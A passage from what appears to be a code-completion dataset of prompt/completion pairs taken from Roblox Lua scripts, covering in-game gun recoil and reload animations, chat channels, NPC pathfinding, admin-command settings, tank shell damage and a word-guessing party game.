then\n\t\t\t\t\tL_147_ = L_279_\n\t\t\t\telse\n\t\t\t\t\tL_147_ = L_276_\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tL_147_ = CFrame.new()\n\t\t\tend\n\t\telse\n\t\t\tL_153_ = 0\n\t\t\tL_147_ = CFrame.new()\n\t\tend\n\t\t\n\t\tL_145_.t = Vector3.new(L_140_, L_141_, 0)\n\t\tlocal L_283_ = L_145_.p\n\t\tlocal L_284_ = L_283_.X / L_142_ * (L_64_ and L_144_ or L_143_)\n\t\tlocal L_285_ = L_283_.Y / L_142_ * (L_64_ and L_144_ or L_143_)\n\t\t\n\t\tL_5_.CFrame = L_5_.CFrame:lerp(L_5_.CFrame * L_148_, 0.2)\n\t\t\n\t\tif L_64_ then\n\t\t\tL_136_ = CFrame.Angles(math.rad(-L_284_), math.rad(L_284_), math.rad(L_285_)) * CFrame.fromAxisAngle(Vector3.new(5, 0, -1), math.rad(L_284_))\t\n\t\t\tL_149_ = 0\n\t\t\tL_150_ = CFrame.new()\n\t\telseif not L_64_ then\n\t\t\tL_136_ = CFrame.Angles(math.rad(-L_285_), math.rad(-L_284_), math.rad(-L_284_)) * CFrame.fromAxisAngle(L_44_.Position, math.rad(-L_285_))\n\t\t\tL_149_ = L_149_ + 0.017\t\t\t\n\t\t\tL_150_ = L_282_\n\t\tend\n\t\t\n\t\tif L_24_.SwayEnabled == true then\n\t\t\tL_45_.C0 = L_45_.C0:lerp(L_162_ * L_136_ * L_147_ * L_150_, 0.1)\n\t\telse\n\t\t\tL_45_.C0 = L_45_.C0:lerp(L_162_ * L_147_, 0.1)\n\t\tend\t\t\n\t\t\n\t\tif L_67_ and not L_70_ and L_72_ and not L_64_ and not L_66_ and not Shooting then\n\t\t\tL_45_.C1 = L_45_.C1:lerp(L_45_.C0 * L_24_.SprintPos, 0.1)\n\t\telseif not L_67_ and not L_70_ and not L_72_ and not L_64_ and not L_66_ and not Shooting and not L_79_ then\n\t\t\tL_45_.C1 = L_45_.C1:lerp(CFrame.new() * L_134_, 0.05)\n\t\tend\n\t\t\n\t\t\n\t\tif L_64_ and not L_67_ then\n\t\t\tif not L_65_ then\n\t\t\t\tL_90_ = L_24_.AimCamRecoil\n\t\t\t\tL_89_ = L_24_.AimGunRecoil\n\t\t\t\tL_91_ = L_24_.AimKickback\n\t\t\telseif L_65_ then\n\t\t\t\tif L_93_ == 1 then\n\t\t\t\t\tL_90_ = L_24_.AimCamRecoil / 1.5\n\t\t\t\t\tL_89_ = L_24_.AimGunRecoil / 1.5\n\t\t\t\t\tL_91_ = L_24_.AimKickback / 1.5\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif L_93_ == 2 then\n\t\t\t\t\tL_90_ = L_24_.AimCamRecoil / 2\n\t\t\t\t\tL_89_ = L_24_.AimGunRecoil / 2\n\t\t\t\t\tL_91_ = L_24_.AimKickback / 2\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_45_.C1 = L_45_.C1:lerp(L_45_.C0 * L_56_.CFrame:toObjectSpace(L_44_.CFrame), L_24_.AimSpeed)\n\t\t\t\t\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_\n\t\t\t\tL_107_.MouseDeltaSensitivity = L_51_\n\t\t\tend\n\t\telseif not L_64_ and not L_67_ and L_15_ and not L_79_ then\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_45_.C1 = L_45_.C1:lerp(CFrame.new() * L_134_, L_24_.UnaimSpeed)\n\t\t\t\t\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_\n\t\t\t\tL_107_.MouseDeltaSensitivity = L_52_\n\t\t\tend\t\n\t\t\t\n\t\t\tif not L_65_ then\n\t\t\t\tL_90_ = L_24_.camrecoil\n\t\t\t\tL_89_ = L_24_.gunrecoil\n\t\t\t\tL_91_ = L_24_.Kickback\n\t\t\telseif L_65_ then\n\t\t\t\tif L_93_ == 1 then\n\t\t\t\t\tL_90_ = L_24_.camrecoil / 1.5\n\t\t\t\t\tL_89_ = L_24_.gunrecoil / 1.5\n\t\t\t\t\tL_91_ = L_24_.Kickback / 1.5\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif L_93_ == 2 then\n\t\t\t\t\tL_90_ = L_24_.camrecoil / 2\n\t\t\t\t\tL_89_ = L_24_.gunrecoil / 2\n\t\t\t\t\tL_91_ = L_24_.Kickback / 2\n\t\t\t\tend\n\t\t\tend\t\n\t\tend\n\t\t\n\t\tif Recoiling then\n\t\t\tif not L_64_ then\n\t\t\t\tL_148_ = CFrame.fromEulerAnglesXYZ(math.rad(L_90_ * math.random(0, L_24_.CamShake)), math.rad(L_90_ * math.random(-L_24_.CamShake, L_24_.CamShake)), math.rad(L_90_ * math.random(-L_24_.CamShake, L_24_.CamShake)))--CFrame.Angles(camrecoil,0,0)\t\n\t\t\telse\n\t\t\t\tL_148_ = CFrame.fromEulerAnglesXYZ(math.rad(L_90_ * math.random(0, L_24_.AimCamShake)), math.rad(L_90_ * math.random(-L_24_.AimCamShake, L_24_.AimCamShake)), math.rad(L_90_ * math.random(-L_24_.AimCamShake, L_24_.AimCamShake)))\n\t\t\tend\n\t\t\t--cam.CoordinateFrame = cam.CoordinateFrame * CFrame.fromEulerAnglesXYZ(math.rad(camrecoil*math.random(0,3)), math.rad(camrecoil*math.random(-1,1)), math.rad(camrecoil*math.random(-1,1)))\n\t\t\tL_45_.C0 = L_45_.C0:lerp(L_45_.C0 * CFrame.new(0, 0, L_89_) * CFrame.Angles(-math.rad(L_91_), 0, 0), 0.3)\n\t\telseif not Recoiling then\t\n\t\t\tL_148_ = CFrame.Angles(0, 0, 0)\n\t\t\tL_45_.C0 = L_45_.C0:lerp(CFrame.new(), 0.2)\n\t\tend\n\t\t\n\t\tif L_65_ then\n\t\t\tL_3_:WaitForChild('Humanoid').Jump = false\n\t\tend\n\t\t\n\t\tif L_15_ then \n\t\t\tL_5_.FieldOfView = L_5_.FieldOfView * (1 - L_24_.ZoomSpeed) + (L_97_ * L_24_.ZoomSpeed)\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\t\tL_90_ = L_24_.AimCamRecoil\n\t\t\t\tL_89_ = L_24_.AimGunRecoil\n\t\t\t\tL_91_ = L_24_.AimKickback\n\t\t\t\t\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_\n\t\t\t\tL_107_.MouseDeltaSensitivity = L_51_\n\t\t\telseif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 and not L_64_ and not L_65_ then\n\t\t\t\tL_90_ = L_24_.camrecoil\n\t\t\t\tL_89_ = L_24_.gunrecoil\n\t\t\t\tL_91_ = L_24_.Kickback\n\t\t\t\t\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_\n\t\t\t\tL_107_.MouseDeltaSensitivity = L_52_\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_15_ and L_24_.CameraGo then --and (char.Head.Position - cam.CoordinateFrame.p).magnitude < 2 then\n\t\t\tL_4_.TargetFilter = game.Workspace\n\t\t\tlocal L_286_ = L_3_:WaitForChild(\"HumanoidRootPart\").CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(L_3_:WaitForChild(\"Humanoid\").CameraOffset)\n\t\t\tL_48_.C0 = L_8_.CFrame:toObjectSpace(L_286_)\n\t\t\tL_48_.C1 = CFrame.Angles(-math.asin((L_4_.Hit.p - L_4_.Origin.p).unit.y), 0, 0)\n\t\t\tL_107_.MouseIconEnabled = false\t\n\t\tend\n\t\t\n\t\tif L_15_ and (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\tif L_4_.Icon ~= \"http://www.roblox.com/asset?id=\" .. L_24_.TPSMouseIcon then\n\t\t\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=\" .. L_24_.TPSMouseIcon\n\t\t\tend\n\t\t\tL_107_.MouseIconEnabled = true\n\t\t\t\n\t\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 1\n\t\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 1\n\t\t\tend\n\t\tend;\n\tend\nend)\n"} +{"prompt": "-------------------------------------", "completion": "\nequiped=false\nsp=script.Parent\nRayLength=1000\nSpread=0\nenabled=true\nreloading=false\ndown=false\nr=game:service(\"RunService\")\nlast=0\nlast2=0\nlast3=0\nlast4=0\nlast5=0\nlast6=0\n\nBullet=Instance.new(\"Part\")\nBullet.Name=\"Bullet\"\nBullet.BrickColor=BrickColor.new(\"New Yeller\")\nBullet.Anchored=true\nBullet.CanCollide=false\nBullet.Locked=true\nBullet.Size=Vector3.new(1,1,1)"} +{"prompt": "-- print(\"hit: \", hit,\" hit.Parent: \" ,hit.Parent.Name)", "completion": "\n\tlocal target= hit.Parent.Name\n\t-- print(\"Bullet hit - \",target)\n\t\n\tlocal human\t= Instance.new(\"Humanoid\")\n\thuman.Parent = bullet\n\t\n\tif target == bullet.Owner.Value then -- \u0441\u0432\u043e\u0439 \u0438\u0433\u0440\u043e\u043a"} +{"prompt": "--------------------[ RELOAD FUNCTIONS ]----------------------------------------------", "completion": "\n\nfunction ReloadAnim()\n\tTweenJoint(LWeld2, CF(), CF(), Sine, 0.15)\n\tTweenJoint(RWeld2, CF(), CF(), Sine, 0.15)\n\tlocal Speed = S.ReloadTime / 2\n\tlocal Mag_Parts = {}\n\t\t\t\n\tfor _, Obj in pairs(Gun:GetChildren()) do\n\t\tif Obj.Name == \"Mag\" and Obj:IsA(\"BasePart\") then\n\t\t\tINSERT(Mag_Parts, {Original = Obj, Clone1 = Obj:Clone(), Clone2 = Obj:Clone()})\n\t\tend\n\tend\n\t\n\tlocal W1 = nil\n\tlocal W2 = nil\n\t\n\tlocal SequenceTable = {\n\t\t\n\t\tfunction()\n\t\t\t\n\t\t\tfor Index, Mag in pairs(Mag_Parts) do\n\t\t\t\tMag.Original.Transparency = 1\n\t\t\t\tMag.Clone1.Parent = Gun_Ignore\n\t\t\t\tMag.Clone1.CanCollide = true\n\t\t\t\t\n\t\t\t\tif Index ~= 1 then\n\t\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\t\tW.Part0 = Mag_Parts[1].Clone1\n\t\t\t\t\tW.Part1 = Mag.Clone1\n\t\t\t\t\tW.C0 = Mag_Parts[1].Clone1.CFrame:toObjectSpace(Mag.Clone1.CFrame)\n\t\t\t\t\tW.Parent = Mag_Parts[1].Clone1\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tW1 = Instance.new(\"Weld\")\n\t\t\tW1.Part0 = Mag_Parts[1].Clone1\n\t\t\tW1.Part1 = Handle\n\t\t\tW1.C0 = Mag_Parts[1].Original.CFrame:toObjectSpace(Handle.CFrame)\n\t\t\tW1.Parent = Mag_Parts[1].Clone1\n\t\t\t\n\t\t\tTweenJoint(LWeld, ArmC0[1], CF(0, 0.61, 0) * CFANG(RAD(70), 0, 0), Linear, 0.5 * Speed)\n\t\t\tTweenJoint(RWeld, ArmC0[2], CF(0.4, 0.09, -0.21) * CFANG(RAD(-20), RAD(3), 0), Linear, 0.5 * Speed)\n\t\t\tTweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.5 * Speed)\n\t\t\twait(0.5 * Speed)\n\t\t\t\n\t\tend;\n\t\t\n\t\tfunction()\n\t\t\t\n\t\t\tTweenJoint(RWeld, ArmC0[2], CF(0.4, -0.01, -0.31) * CFANG(RAD(-22), RAD(3), 0), Sine, 0.3 * Speed)\n\t\t\twait(0.2 * Speed)\n\t\t\t\n\t\tend;\n\t\t\n\t\tfunction()\n\t\t\t\n\t\t\tW1:Destroy()\n\t\t\tMag_Parts[1].Clone1.Velocity = Handle.Velocity + Handle.CFrame:vectorToWorldSpace(VEC3(0,-1,0)) * 20\n\t\t\tspawn(function()\n\t\t\t\twhile Mag_Parts[1].Clone1.Velocity.magnitude > 0.1 do wait() end\n\t\t\t\tfor _, Mag in pairs(Mag_Parts) do\n\t\t\t\t\tMag.Clone1.Anchored = true\n\t\t\t\t\tMag.Clone1:BreakJoints()\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tfor Index, Mag in pairs(Mag_Parts) do\n\t\t\t\tMag.Clone2.Parent = Gun_Ignore\n\t\t\t\t\n\t\t\t\tif Index ~= 1 then\n\t\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\t\tW.Part0 = Mag_Parts[1].Clone2\n\t\t\t\t\tW.Part1 = Mag.Clone2\n\t\t\t\t\tW.C0 = Mag_Parts[1].Clone2.CFrame:toObjectSpace(Mag.Clone2.CFrame)\n\t\t\t\t\tW.Parent = Mag_Parts[1].Clone2\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tW2 = Instance.new(\"Weld\")\n\t\t\tW2.Part0 = FakeLArm\n\t\t\tW2.Part1 = Mag_Parts[1].Clone2\n\t\t\tW2.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, 0)\n\t\t\tW2.Parent = FakeLArm\n\t\t\twait(0.1)\n\t\t\t\n\t\tend;\n\t\t\n\t\tfunction()\n\t\t\t\n\t\t\tlocal FakeLArmCF = LWeld.Part0.CFrame * ArmC0[1] * (CF(0.3, 1.85, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60))):inverse()\n\t\t\tlocal FakeRArmCF = RWeld.Part0.CFrame * ArmC0[2] * (CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10))):inverse()\n\t\t\tlocal HandleCF = FakeRArm.CFrame:toObjectSpace(Grip.Part0.CFrame * Grip.C0)\n\t\t\tlocal Mag_Original_CF = Handle.CFrame:toObjectSpace(Mag_Parts[1].Original.CFrame)\n\t\t\tlocal MagC0 = FakeLArmCF:toObjectSpace(FakeRArmCF * HandleCF * Mag_Original_CF)\n\t\t\t\n\t\t\tTweenJoint(LWeld, ArmC0[1], CF(0.3, 1.85, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60)), Sine, 0.6 * Speed)\n\t\t\tTweenJoint(RWeld, ArmC0[2], CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10)), Sine, 0.6 * Speed)\n\t\t\tTweenJoint(Grip, Grip.C0, CF(), Sine, 0.6 * Speed)\n\t\t\tTweenJoint(W2, MagC0, CF(), Sine, 0.6 * Speed)\n\t\t\twait(0.7 * Speed)\n\t\t\t\n\t\tend;\n\t\t\n\t\tfunction()\n\t\t\t\n\t\t\tfor _, Mag in pairs(Mag_Parts) do\n\t\t\t\tMag.Original.Transparency = 0\n\t\t\t\tMag.Clone2:Destroy()\n\t\t\tend\n\t\t\t\n\t\t\tTweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.5 * Speed)\n\t\t\tTweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.5 * Speed)\n\t\t\tTweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.5 * Speed)\n\t\t\twait(0.5 * Speed)\n\t\t\t\n\t\tend;\n\t\t\n\t}\n\t\n\tfor _,ReloadFunction in pairs(SequenceTable) do\n\t\tif BreakReload then\n\t\t\tbreak\n\t\tend\n\t\tReloadFunction()\n\tend\n\t\n\tif W1 then W1:Destroy() end\n\tif W2 then W2:Destroy() end\n\tfor _, Mag in pairs(Mag_Parts) do\n\t\tMag.Clone1:Destroy()\n\t\tMag.Clone2:Destroy()\n\tend\nend\n\nfunction Reload()\n\tRunning = false\n\tif Ammo.Value < ClipSize.Value and (not Reloading) and StoredAmmo.Value > 0 then\n\t\tAmmoInClip = (AmmoInClip == 0 and Ammo.Value or AmmoInClip)\n\t\tAmmo.Value = 0\n\t\tReloading = true\n\t\tif Aimed then UnAimGun(S.ReloadAnimation) end\n\t\tGui_Clone.CrossHair.Reload.Visible = true\n\t\tif Handle:FindFirstChild(\"ReloadSound\") then Handle.ReloadSound:Play() end\n\t\tif S.ReloadAnimation then\n\t\t\twait()\n\t\t\tReloadAnim()\n\t\telse\n\t\t\tlocal StartReload = tick()\n\t\t\twhile true do\n\t\t\t\tif BreakReload then break end\n\t\t\t\tif (tick() - StartReload) >= S.ReloadTime then break end\n\t\t\t\tRS:wait()\n\t\t\tend\n\t\tend\n\t\tif (not BreakReload) then\n\t\t\tif StoredAmmo.Value >= ClipSize.Value then\n\t\t\t\tAmmo.Value = ClipSize.Value\n\t\t\t\tif AmmoInClip > 0 then\n\t\t\t\t\tStoredAmmo.Value = StoredAmmo.Value - (ClipSize.Value - AmmoInClip)\n\t\t\t\telse\n\t\t\t\t\tStoredAmmo.Value = StoredAmmo.Value - ClipSize.Value\n\t\t\t\tend\n\t\t\telseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then\n\t\t\t\tAmmo.Value = StoredAmmo.Value\n\t\t\t\tStoredAmmo.Value = 0\n\t\t\tend\n\t\tend\n\t\tBreakReload = false\n\t\tReloading = false\n\t\tif Selected then\n\t\t\tAmmoInClip = 0\n\t\t\tGui_Clone.CrossHair.Reload.Visible = false\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Listen for errors fired from the server", "completion": "\nScriptContext.Error:Connect(onError)\n"} +{"prompt": "--///////////////////////// Constructors\n--//////////////////////////////////////", "completion": "\n\nfunction module.new(vChatService, name, welcomeMessage, channelNameColor)\n\tlocal obj = setmetatable({}, methods)\n\n\tobj.ChatService = vChatService\n\n\tobj.Name = name\n\tobj.WelcomeMessage = welcomeMessage or \"\"\n\tobj.GetWelcomeMessageFunction = nil\n\tobj.ChannelNameColor = channelNameColor\n\n\tobj.Joinable = true\n\tobj.Leavable = true\n\tobj.AutoJoin = false\n\tobj.Private = false\n\n\tobj.Speakers = {}\n\tobj.Mutes = {}\n\n\tobj.MaxHistory = 200\n\tobj.HistoryIndex = 0\n\tobj.ChatHistory = {}\n\n\tobj.FilterMessageFunctions = Util:NewSortedFunctionContainer()\n\tobj.ProcessCommandsFunctions = Util:NewSortedFunctionContainer()\n\n\t-- Make sure to destroy added binadable events in the InternalDestroy method.\n\tobj.eDestroyed = Instance.new(\"BindableEvent\")\n\tobj.eMessagePosted = Instance.new(\"BindableEvent\")\n\tobj.eSpeakerJoined = Instance.new(\"BindableEvent\")\n\tobj.eSpeakerLeft = Instance.new(\"BindableEvent\")\n\tobj.eSpeakerMuted = Instance.new(\"BindableEvent\")\n\tobj.eSpeakerUnmuted = Instance.new(\"BindableEvent\")\n\n\tobj.MessagePosted = obj.eMessagePosted.Event\n\tobj.SpeakerJoined = obj.eSpeakerJoined.Event\n\tobj.SpeakerLeft = obj.eSpeakerLeft.Event\n\tobj.SpeakerMuted = obj.eSpeakerMuted.Event\n\tobj.SpeakerUnmuted = obj.eSpeakerUnmuted.Event\n\tobj.Destroyed = obj.eDestroyed.Event\n\n\treturn obj\nend\n\nreturn module\n"} +{"prompt": "-- no touchy", "completion": "\nlocal path = pfs:CreatePath()\nlocal waypoint\nlocal currentWaypointIndex\nlocal target\n\nfunction findNearestTorso(pos)\n\tlocal list = game.Workspace:children()\n\tlocal torso = nil\n\tlocal dist = Settings.WalkDistance.Value\n\tlocal temp = nil\n\tlocal human = nil\n\tlocal temp2 = nil\n\tfor x = 1, #list do\n\t\ttemp2 = list[x]\n\t\tif (temp2.className == \"Model\") and (temp2 ~= script.Parent) then\n\t\t\ttemp = temp2:findFirstChild(\"HumanoidRootPart\")\n\t\t\thuman = temp2:findFirstChild(\"Humanoid\")\n\t\t\tif (temp ~= nil) and (human ~= nil) and (human.Health > 0) and players:GetPlayerFromCharacter(human.Parent)~= nil then\n\t\t\t\tif (temp.Position - pos).magnitude < dist then\n\t\t\t\t\ttorso = temp\n\t\t\t\t\tdist = (temp.Position - pos).magnitude\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn torso\nend\n\n"} +{"prompt": "-- << SETTINGS >>", "completion": "\nSettings={\n\t-- \n\tPrefix\t\t\t=\";\" ;\t\t\t-- The character used to begin each command\n\t\n\t-- \n\tOwnerChatColour = \"y\" ;\t\t\t--w/r/g/b/p/y OR white/red/green/blue/purple/yellow\n\n\t-- **Please keep enabled to help support the development of HD Admin Commands**\n\tDonorItem \t\t= true ;\n\tDonorItemId \t= 10472779 ;\n\tDonorCommands \t= true ;\n\t\n\t-- \n\tCmdBar\t\t\t= true ;\t\t-- Enabled/disales the cmdbar - press @ to open the cmdbar\n\tHDIcon\t\t\t= true ;\t\t-- The HD Icon in the corner of screen (helps support the development HD Admin Commands)\n\tAutoPrompt\t\t= true ;\t\t-- This prompts all players to take a free copy of the model. Set to 'false' to disable.\n\tFreeAdmin\t\t= false ;\t\t-- Allows everyone in server to have the chosen admin. e.g.' FreeAdmin = \"VIP\" '. Set to False if not. You can not set to 'Owner'.\n\tNoticeSound\t\t= 261082034 ;\t-- Notification sound ID\n\tNoticeSoundVol\t= 0.5 ;\t\t\t-- How loud the notification sound is. Must be between 0 and 1.\n\tErrorSound\t\t= 138090596 ;\t-- Error sound ID\n\tErrorSoundVol\t= 0.5 ;\t\t\t-- How loud the error sound is. Must be between 0 and 1.\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t;\n\n"} +{"prompt": "-- # CODE BELOW # --\n-- ^ Do not change anything else", "completion": "\n\nlocal GoreFolder = game.ReplicatedStorage[\"Gore by Leveled Development\"];\nlocal Core = require(GoreFolder.Modules.Core);\n\nlocal Character = script.Parent.Parent;\n\nfunction Load()\n\tlocal Humanoid = Character:FindFirstChild(\"Humanoid\");\n\trepeat wait() until Humanoid;\n\n\tlocal NewDescription = Humanoid:GetAppliedDescription();\n\tNewDescription.Head = 0;\n\tNewDescription.LeftArm = 0;\n\tNewDescription.RightArm = 0;\n\tNewDescription.LeftLeg = 0;\n\tNewDescription.RightLeg = 0;\n\tNewDescription.Torso = 0;\n\tHumanoid:ApplyDescription(NewDescription);\nend;\n\nLoad();\nCharacter.Humanoid.Died:Connect(function()\n\tdelay(game:GetService(\"Players\").RespawnTime, function()\n\t\tLoad();\n\tend);\nend);\n"} +{"prompt": "--Loop For Making Rays For The Bullet's Trajectory", "completion": "\n\nlocal fallOfShot = 4.75\n\nfor i = 1, 120 do\n\tlocal thisOffset = offset + Vector3.new(0, yOffset*(i-fallOfShot), 0)\n\tlocal travelRay = Ray.new(point1,thisOffset)\n\tlocal hit, position = workspace:FindPartOnRay(travelRay, parts.Parent)\n\n\tlocal distance \t\t= (position - point1).magnitude\n\tround.Size\t\t\t\t= Vector3.new(1.1, distance, 1.1)\n\tround.CFrame\t\t\t= CFrame.new(position, point1)\n\t\t\t\t\t\t\t\t* CFrame.new(0, 0, -distance/2)\n\t\t\t\t\t\t\t\t* CFrame.Angles(math.rad(90),0,0)\n\tround.Parent\t\t\t= workspace\n\tpoint1\t\t\t\t\t= point1 + thisOffset\n\t\n\t\n\n\tif hit then\n\t\tround:remove()\n\t\tlocal e = Instance.new(\"Explosion\")\n\t\te.BlastRadius = 5\n\t\te.BlastPressure = 10\n\t\te.Position = position\n\t\te.Parent = workspace\n\t\te.DestroyJointRadiusPercent = 0\n\t\t\n\t\t\n\n\t\t\tif hit and hit.Parent then\n\t\tif hit.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn hit.Parent.Humanoid\n\t\telseif hit.Parent.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn hit.Parent.Parent.Humanoid\n\t\t\n\t\telseif (hit.Parent.Name == \"Hull\") or (hit.Parent.Name == \"Turret\") or (hit.Parent.Name == \"Gun\") or (hit.Parent.Name == \"Parts\") then\n\t\t\tprint(\"You Have Damaged a Vehicle\")\n\t\t\tlocal HitSound = hit.Parent:findFirstChild(\"Pen\"):Clone()\n\t\t\tHitSound.Parent = hit\n\t\t\tHitSound:Play()\n\t\t\thit.Parent.Parent:findFirstChild(\"Damage\").Value = hit.Parent.Parent:findFirstChild(\"Damage\").Value - damage\n\t\t\tif hit.Parent.Parent:findFirstChild(\"Damage\").Value<1 and hit.Parent.Parent:findFirstChild(\"Destroyed\").Value == false then\n\t\t\t\t\n\t\t\tlocal DestroyScript = hit.Parent.Parent:findFirstChild(\"DestroyScript\"):clone()\n\t\t\tDestroyScript.Parent = hit.Parent.Parent\n\t\t\tDestroyScript.Disabled = false\t\t\n\t\t\n\t\t\tprint(\"Vehicle Disabled\")\n\t\t\n\t\t\n\t\t\tend\n\n\t\telseif hit.Name == \"Left Arm\" or hit.Name == \"Left Leg\" or hit.Name == \"Right Arm\" or hit.Name == \"Right Leg\" or hit.Name == \"Torso\" or hit.Name == \"HumanoidRootPart\" then\n\t\t\thit.Parent:findFirstChild(\"Humanoid\").Health = hit.Parent:findFirstChild(\"Humanoid\").Health - damage\n\t\t\tprint(\"Direct Hit a Player lmao\")\n\t\t\t\n\t\telseif hit.Parent.Name == \"Face\" then\n\t\t\thit.Parent.Parent:findFirstChild(\"Humanoid\").Health = hit.Parent.Parent:findFirstChild(\"Humanoid\").Health - dealingdamage\n\t\t\tprint(\"Direct Hit a Morph of a Player lmao\")\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\tend\n\t\tend\n\n\t\t\n\n\t\tlocal players = game.Players:getChildren()\n\t\tfor i = 1, #players do\n\t\t\n\t\t\t\n\t\t\t-- if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally\n\t\t\t\tcharacter = players[i].Character\n\t\t\t\ttorso = character:findFirstChild'Torso'\n\t\t\t\tif character and torso then\n\t\t\t\t\t\t\n\t\t\t\t\t\ttorsoPos = torso.Position\n\t\t\t\t\t\torigPos = round.Position\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal ray = Ray.new(origPos, torsoPos-origPos)\n\t\t\t\t\t\tlocal hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList)\n\t\t\t\t\t\tif hit then\n\t\t\t\t\t\t\tif hit.Parent == character then\n\t\t\t\t\t\t\t\thuman = hit.Parent:findFirstChild(\"Humanoid\")\n\t\t\t\t\t\t\t\thuman2 = hit.Parent.Parent:findFirstChild(\"Humanoid\")\n\t\t\t\t\t\t\t\tif human then\n\t\t\t\t\t\t\t\t\tdistance = (position-origPos).magnitude"} +{"prompt": "-- Keeps track of which players are currently playing the game and associating\n-- words with each player so they can guess what was assigned to them.", "completion": "\n\nlocal Players = game:GetService(\"Players\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal RunService = game:GetService(\"RunService\")\n\nlocal Cryo = require(ReplicatedStorage.HeadsUp.Packages.Cryo)\nlocal constants = require(ReplicatedStorage.HeadsUp.Constants)\nlocal setupTag = require(ReplicatedStorage.HeadsUp.Modules.SetupTag)\nlocal isPlayerOnPad = require(ReplicatedStorage.HeadsUp.Modules.isPlayerOnPad)\n\nlocal RemoteEvents = ReplicatedStorage.HeadsUp.RemoteEvents\n\nlocal nextPadId = 1\n\nlocal function chooseRandom(list: { any })\n\treturn list[Random.new():NextInteger(1, #list)]\nend\n\nlocal function setWord(player: Player)\n\tlocal wordsInUse = {}\n\tfor _, otherPlayer in ipairs(Players:GetPlayers()) do\n\t\tlocal word = otherPlayer:GetAttribute(constants.WORD_ATTRIBUTE_NAME)\n\t\tif word then\n\t\t\ttable.insert(wordsInUse, word)\n\t\tend\n\tend\n\n\t-- Filter out any words that are already in play so no players in the\n\t-- same session get the same word.\n\tlocal possibleWords = Cryo.List.filter(constants.WORDS, function(word)\n\t\treturn not Cryo.List.find(wordsInUse, word)\n\tend)\n\n\tplayer:SetAttribute(constants.WORD_ATTRIBUTE_NAME, chooseRandom(possibleWords))\nend\n\nlocal function setNextActiveUserId(pad: Model, session: table, activeUserId: string)\n\t-- setNextActiveUserId is called when the client guessing a word has the same\n\t-- UserId as `activeUserId`. Thus table.find will always return a positive\n\t-- value, so it is safe to not guard for `nil` here.\n\tlocal nextIndex = table.find(session, activeUserId) + 1\n\n\tif nextIndex > #session then\n\t\tnextIndex = 1\n\tend\n\n\tlocal nextActiveUserId = session[nextIndex]\n\n\tpad:SetAttribute(constants.ACTIVE_PLAYER_ATTRIBUTE, nextActiveUserId)\n\n\treturn nextActiveUserId\nend\n\nsetupTag(constants.PAD_TAG_NAME, function(pad: Model)\n\tlocal padId = \"Pad\" .. tostring(nextPadId + 1)\n\tnextPadId += 1\n\n\t-- This table keeps track of the order that each player joined the current\n\t-- Heads Up session, which is used for choosing who the next player to guess\n\t-- their word will be\n\tlocal session = {}\n\n\tlocal sessionJoined = Instance.new(\"BindableEvent\")\n\tlocal sessionLeft = Instance.new(\"BindableEvent\")\n\n\tlocal function onNewWordRequested(player: Player)\n\t\tif player:GetAttribute(constants.WORD_ATTRIBUTE_NAME) then\n\t\t\tsetWord(player)\n\t\tend\n\tend\n\n\tlocal function onWordGuessed(player: 